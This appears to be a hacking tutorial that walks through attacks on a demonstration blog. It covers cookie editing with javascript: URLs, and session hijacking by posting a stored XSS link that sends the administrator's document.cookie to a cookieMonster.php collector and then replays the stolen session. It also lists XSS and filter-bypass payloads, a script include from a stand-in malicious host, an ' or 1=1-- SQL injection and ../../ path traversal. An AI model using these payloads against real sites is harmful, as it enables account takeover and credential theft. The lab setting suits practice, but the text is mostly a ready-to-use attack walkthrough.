Cookies, Code Injection and Session Hijacking

Code Injection: 

There are many ways to inject code, let's begin this section with cookie viewing and editing. Erase everything in your address bar, and type in javascript:alert(document.cookie);

Carefully examine the data

Now erase everything again and type javascript: void(document.cookie='user:=guest');

Run the original script again to view the cookie, as you can see you have changed the cookie data. This is how cookie editing can be used to possibly access a site through cookies. There are many tools that can be used to help automate this process such as: Paros Proxy, Burp Suite, and Web Scarab to name a few.

There are better ways to achieve this in a more targeted manner. Let's move on.

Session Hijacking:

Let's revisit the blog and see what we can do.

1) Open a different web browser and point it to the main page.

2) Log in to the anonymous account with the attack browser and create a post with a hyperlink in the blog that points to the cookie stealing code that i have created, the file is named cookieMonster.php the XSS link should look like this <a onclick="javascript:document.location='/ghost/cookieMonster.php?monster='+document.cookie;">Pics</a>

3) Log in as the administrator with the victim browser, view the post and click on the hyperlink

4) Go back to the attackers browser and go to mycookies.html

As you can see there is a new session that has been logged take the javascript from the page and insert it into the address bar. Go back to the blog and post a new message, as you can see you are now the administrator. This example is a little different from real world examples in the aspect that a lot of the time user authentication through sessions and cookies are either randomly generated, or the number is based on a mathematical algorithm. There are programs out there than can help try to predict the users next session id.

Let's start by using Xss!

There are many different Xss and CSRF attacks that can be used, lets start with the easy ones.

1) <script>alert('xss');<script>

2) <script>alert(document.cookie);</script>

3) <IMG SRC=javascript:alert('xss') /;>

4) Encoded for filter bypass - 

%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2fscript%3E

Now CSRF!

1) <script src="http://yourMaliciousCodeSite.com"></script>

2) <img src="http://some site you want to grab from">

3) <img src="http://a vulnerable site you want another user to inject to">

There are three ways to access this site:

1) Sql Injection - ' or 1=1--

Through the right query string with sql injection you should be able to dump the user:pass combo from the server, or log in as admin

2) Forced Browsing - ../../

The use of forced browsing is very common in servers that have not been secured properly. Sometimes you can find a text file containing information, or even access htdocs on a linux box. This site was set up for demonstration purposes. The file is located in the folder named "pass"

3) Examine the code to see if you see any hints

Many times developers will leave pertinant information inside of the code because they are rushed and forget to remove comments. Other possibilities are they hard coded certain information that can be use full for an attack. Always examine the code to look for clues.